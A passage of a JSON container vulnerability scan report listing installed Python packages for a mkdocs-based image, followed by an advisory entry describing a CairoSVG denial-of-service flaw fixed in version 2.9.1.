"pkg:pypi/backrefs@6.1", "UID": "2d586e1a167ce7c3" }, "Version": "6.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/backrefs-6.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "cairocffi", "Identifier": { "PURL": "pkg:pypi/cairocffi@1.7.1", "UID": "c5b9e66f6c5f47fe" }, "Version": "1.7.1", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/cairocffi-1.7.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "certifi", "Identifier": { "PURL": "pkg:pypi/certifi@2025.11.12", "UID": "23871ceadb6b3454" }, "Version": "2025.11.12", "Licenses": [ "MPL-2.0" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/certifi-2025.11.12.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "cffi", "Identifier": { "PURL": "pkg:pypi/cffi@2.0.0", "UID": "ecf11ce63bd94ab5" }, "Version": "2.0.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/cffi-2.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "charset-normalizer", "Identifier": { "PURL": "pkg:pypi/charset-normalizer@3.4.4", "UID": "8c758b7b747bd3eb" }, "Version": "3.4.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/charset_normalizer-3.4.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "click", "Identifier": { "PURL": "pkg:pypi/click@8.3.1", "UID": "294a467b6f15970c" }, "Version": "8.3.1", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/click-8.3.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "colorama", "Identifier": { "PURL": "pkg:pypi/colorama@0.4.6", "UID": "74548f40674d8404" }, "Version": "0.4.6", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/colorama-0.4.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "csscompressor", "Identifier": { "PURL": "pkg:pypi/csscompressor@0.9.5", "UID": "958adb9a019c23e6" }, "Version": "0.9.5", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/csscompressor-0.9.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "cssselect2", "Identifier": { "PURL": "pkg:pypi/cssselect2@0.8.0", "UID": "52354917756bc6d3" }, "Version": "0.8.0", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/cssselect2-0.8.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "defusedxml", "Identifier": { "PURL": "pkg:pypi/defusedxml@0.7.1", "UID": "898deb8b6078dbee" }, "Version": "0.7.1", "Licenses": [ "Python Software Foundation License" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/defusedxml-0.7.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "filelock", "Identifier": { "PURL": "pkg:pypi/filelock@3.20.1", "UID": "4fd1898ef5f42627" }, "Version": "3.20.1", "Licenses": [ "Unlicense" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/filelock-3.20.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "ghp-import", "Identifier": { "PURL": "pkg:pypi/ghp-import@2.1.0", "UID": "6cfae31b9b2586a5" }, "Version": "2.1.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/ghp_import-2.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "gitdb", "Identifier": { "PURL": "pkg:pypi/gitdb@4.0.12", "UID": "c175c637786d8a48" }, "Version": "4.0.12", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/gitdb-4.0.12.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "htmlmin2", "Identifier": { "PURL": "pkg:pypi/htmlmin2@0.1.13", "UID": "cbe3e7037467360b" }, "Version": "0.1.13", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/htmlmin2-0.1.13.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "idna", "Identifier": { "PURL": "pkg:pypi/idna@3.11", "UID": "e7652757f58a6801" }, "Version": "3.11", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/idna-3.11.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "importlib_metadata", "Identifier": { "PURL": "pkg:pypi/importlib-metadata@8.0.0", "UID": "347a36bc9e660761" }, "Version": "8.0.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/importlib_metadata-8.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "inflect", "Identifier": { "PURL": "pkg:pypi/inflect@7.3.1", "UID": "51e7d1c898b69383" }, "Version": "7.3.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/inflect-7.3.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "jaraco.collections", "Identifier": { "PURL": "pkg:pypi/jaraco.collections@5.1.0", "UID": "b2e77b8a0b175ddd" }, "Version": "5.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/jaraco.collections-5.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "jaraco.context", "Identifier": { "PURL": "pkg:pypi/jaraco.context@5.3.0", "UID": "d6550b81e52efabe" }, "Version": "5.3.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/jaraco.context-5.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "jaraco.functools", "Identifier": { "PURL": "pkg:pypi/jaraco.functools@4.0.1", "UID": "f42118e4940a83a5" }, "Version": "4.0.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/jaraco.functools-4.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "jaraco.text", "Identifier": { "PURL": "pkg:pypi/jaraco.text@3.12.1", "UID": "cac1fcd2d9755e50" }, "Version": "3.12.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/jaraco.text-3.12.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "jsmin", "Identifier": { "PURL": "pkg:pypi/jsmin@3.0.1", "UID": "ff3aa24306f679f3" }, "Version": "3.0.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/jsmin-3.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "mergedeep", "Identifier": { "PURL": "pkg:pypi/mergedeep@1.3.4", "UID": "3a7c4af6c3de7424" }, "Version": "1.3.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/mergedeep-1.3.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "mkdocs", "Identifier": { "PURL": "pkg:pypi/mkdocs@1.6.1", "UID": "7b24a4ff46119363" }, "Version": "1.6.1", "Licenses": [ "BSD-2-Clause" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/mkdocs-1.6.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "mkdocs-get-deps", "Identifier": { "PURL": "pkg:pypi/mkdocs-get-deps@0.2.0", "UID": "b9e43de885a7a58" }, "Version": "0.2.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/mkdocs_get_deps-0.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "mkdocs-git-committers-plugin-2", "Identifier": { "PURL": "pkg:pypi/mkdocs-git-committers-plugin-2@2.5.0", "UID": "381b2339c7a95442" }, "Version": "2.5.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/mkdocs_git_committers_plugin_2-2.5.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "mkdocs-git-revision-date-localized-plugin", "Identifier": { "PURL": "pkg:pypi/mkdocs-git-revision-date-localized-plugin@1.5.0", "UID": "9ba047d8658c9e3d" }, "Version": "1.5.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/mkdocs_git_revision_date_localized_plugin-1.5.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "mkdocs-material", "Identifier": { "PURL": "pkg:pypi/mkdocs-material@9.7.1", "UID": "ddb494d2694bbeff" }, "Version": "9.7.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/mkdocs_material-9.7.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "mkdocs-material-extensions", "Identifier": { "PURL": "pkg:pypi/mkdocs-material-extensions@1.3.1", "UID": "ab15e182ab15cea8" }, "Version": "1.3.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/mkdocs_material_extensions-1.3.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "mkdocs-minify-plugin", "Identifier": { "PURL": "pkg:pypi/mkdocs-minify-plugin@0.8.0", "UID": "b54c89a28dc9ffeb" }, "Version": "0.8.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/mkdocs_minify_plugin-0.8.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "mkdocs-redirects", "Identifier": { "PURL": "pkg:pypi/mkdocs-redirects@1.2.2", "UID": "6b508ad07e7b6886" }, "Version": "1.2.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/mkdocs_redirects-1.2.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "mkdocs-rss-plugin", "Identifier": { "PURL": "pkg:pypi/mkdocs-rss-plugin@1.17.7", "UID": "ee037321ac44de12" }, "Version": "1.17.7", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/mkdocs_rss_plugin-1.17.7.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "more-itertools", "Identifier": { "PURL": "pkg:pypi/more-itertools@10.3.0", "UID": "cab6d07375997e08" }, "Version": "10.3.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/more_itertools-10.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "msgpack", "Identifier": { "PURL": "pkg:pypi/msgpack@1.1.2", "UID": "98bfc3a048cd4393" }, "Version": "1.1.2", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/msgpack-1.1.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "packaging", "Identifier": { "PURL": "pkg:pypi/packaging@24.2", "UID": "dd0943476d1773a8" }, "Version": "24.2", "Licenses": [ "Apache-2.0", "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/packaging-24.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "packaging", "Identifier": { "PURL": "pkg:pypi/packaging@25.0", "UID": "65ace6c1d5e7cff9" }, "Version": "25.0", "Licenses": [ "Apache-2.0", "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/packaging-25.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "paginate", "Identifier": { "PURL": "pkg:pypi/paginate@0.5.7", "UID": "3c5ab765423035a0" }, "Version": "0.5.7", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/paginate-0.5.7.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pathspec", "Identifier": { "PURL": "pkg:pypi/pathspec@0.12.1", "UID": "deb984c6552c252a" }, "Version": "0.12.1", "Licenses": [ "MPL-2.0" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/pathspec-0.12.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pillow", "Identifier": { "PURL": "pkg:pypi/pillow@11.3.0", "UID": "1a79997d3c2e465c" }, "Version": "11.3.0", "Licenses": [ "MIT-CMU" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/pillow-11.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pip", "Identifier": { "PURL": "pkg:pypi/pip@25.3", "UID": "cea446ba8c7dfbd4" }, "Version": "25.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/pip-25.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "platformdirs", "Identifier": { "PURL": "pkg:pypi/platformdirs@4.2.2", "UID": "f93e5b8c438aeaf6" }, "Version": "4.2.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/platformdirs-4.2.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "platformdirs", "Identifier": { "PURL": "pkg:pypi/platformdirs@4.5.1", "UID": "47f2542903ce6696" }, "Version": "4.5.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/platformdirs-4.5.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pycparser", "Identifier": { "PURL": "pkg:pypi/pycparser@2.23", "UID": "21a09f43f355aa21" }, "Version": "2.23", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/pycparser-2.23.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pymdown-extensions", "Identifier": { "PURL": "pkg:pypi/pymdown-extensions@10.19.1", "UID": "3ee941c42f0ad8b2" }, "Version": "10.19.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/pymdown_extensions-10.19.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-dateutil", "Identifier": { "PURL": "pkg:pypi/python-dateutil@2.9.0.post0", "UID": "c38f3c6cf0af87ac" }, "Version": "2.9.0.post0", "Licenses": [ "BSD-3-Clause", "Apache-2.0" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/python_dateutil-2.9.0.post0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyyaml_env_tag", "Identifier": { "PURL": "pkg:pypi/pyyaml-env-tag@1.1", "UID": "bc50a849e23393c" }, "Version": "1.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/pyyaml_env_tag-1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "requests", "Identifier": { "PURL": "pkg:pypi/requests@2.32.5", "UID": "ba8ae292d35eef79" }, "Version": "2.32.5", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/requests-2.32.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "setuptools", "Identifier": { "PURL": "pkg:pypi/setuptools@79.0.1", "UID": "a34f48aa76be299c" }, "Version": "79.0.1", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools-79.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "six", "Identifier": { "PURL": "pkg:pypi/six@1.17.0", "UID": "b69471af5244a8f7" }, "Version": "1.17.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/six-1.17.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "smmap", "Identifier": { "PURL": "pkg:pypi/smmap@5.0.2", "UID": "5bcd5c579c2aa31c" }, "Version": "5.0.2", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/smmap-5.0.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "tinycss2", "Identifier": { "PURL": "pkg:pypi/tinycss2@1.5.1", "UID": "d07d639370311ff7" }, "Version": "1.5.1", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/tinycss2-1.5.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "tomli", "Identifier": { "PURL": "pkg:pypi/tomli@2.0.1", "UID": "53abaa0d00072d9e" }, "Version": "2.0.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/tomli-2.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "typeguard", "Identifier": { "PURL": "pkg:pypi/typeguard@4.3.0", "UID": "f19abdf9377301a1" }, "Version": "4.3.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/typeguard-4.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "typing_extensions", "Identifier": { "PURL": "pkg:pypi/typing-extensions@4.12.2", "UID": "4b1f19157aef399d" }, "Version": "4.12.2", "Licenses": [ "Python Software Foundation License" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/typing_extensions-4.12.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "urllib3", "Identifier": { "PURL": "pkg:pypi/urllib3@2.6.2", "UID": "ec2fbcd6436a5e43" }, "Version": "2.6.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/urllib3-2.6.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "watchdog", "Identifier": { "PURL": "pkg:pypi/watchdog@6.0.0", "UID": "e66a49e92dc1e589" }, "Version": "6.0.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/watchdog-6.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "webencodings", "Identifier": { "PURL": "pkg:pypi/webencodings@0.5.1", "UID": "8435d184a94fca14" }, "Version": "0.5.1", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/webencodings-0.5.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "wheel", "Identifier": { "PURL": "pkg:pypi/wheel@0.45.1", "UID": "68d1f5691b386b62" }, "Version": "0.45.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/wheel-0.45.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "wheel", "Identifier": { "PURL": "pkg:pypi/wheel@0.45.1", "UID": "588d1d5b79ef6155" }, "Version": "0.45.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/wheel-0.45.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "zipp", "Identifier": { "PURL": "pkg:pypi/zipp@3.19.2", "UID": "92d9047d0b817060" }, "Version": "3.19.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/zipp-3.19.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" } ], "Vulnerabilities": [ { "VulnerabilityID": "CVE-2026-107378", "VendorIDs": [ "GHSA-c3jg-qh8m-j3h2" ], "PkgName": "CairoSVG", "PkgPath": "usr/local/lib/python3.11/site-packages/cairosvg-2.8.2.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/cairosvg@2.8.2", "UID": "9c219bee5b991f70" }, "InstalledVersion": "2.8.2", "FixedVersion": "2.9.1", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-107378", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:6b42c48a602e9dcf53143f5bcf9873ea18ce687781fa4920189982acee5e4990", "Title": "cairosvg: CairoSVG: Denial of Service via crafted SVG paths", "Description": "CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to 2.9.1, rendering an attacker-controlled SVG with a path containing many segments can cause quadratic CPU consumption in cairosvg/path.py. The path tokenizer repeatedly slices and rescans the remaining path data, while draw_markers drains node.vertices with node.vertices.pop(0), causing repeated linear-time work. The svg2png, svg2pdf, and svg2ps APIs reach these operations during ordinary rendering, allowing a sub-megabyte SVG to consume substantial CPU and deny service to a rendering application. This issue is fixed in version 2.9.1.", "Severity": "HIGH", "CweIDs": [ "CWE-407" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-107378", "https://github.com/Kozea/CairoSVG", "https://github.com/Kozea/CairoSVG/commit/9d63f049f9988d0ddda3eb94564ac3a50a286523", "https://github.com/Kozea/CairoSVG/commit/a4d585eb374724b79676e9cceaa9e9a1a4358565", "https://github.com/Kozea/CairoSVG/releases/tag/2.9.1", "https://github.com/Kozea/CairoSVG/security/advisories/GHSA-c3jg-qh8m-j3h2", "https://nvd.nist.gov/vuln/detail/CVE-2026-107378", "https://www.cve.org/CVERecord?id=CVE-2026-107378" ], "PublishedDate": "2026-10-08T18:17:23.417Z", "LastModifiedDate": "2026-10-08T21:33:42.423Z" }, { "VulnerabilityID": "CVE-2026-31899", "VendorIDs": [ "GHSA-f38f-5xpm-9r7c" ], "PkgName": "CairoSVG", "PkgPath": "usr/local/lib/python3.11/site-packages/cairosvg-2.8.2.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/cairosvg@2.8.2", "UID": "9c219bee5b991f70" }, "InstalledVersion": "2.8.2", "FixedVersion": "2.9.0", 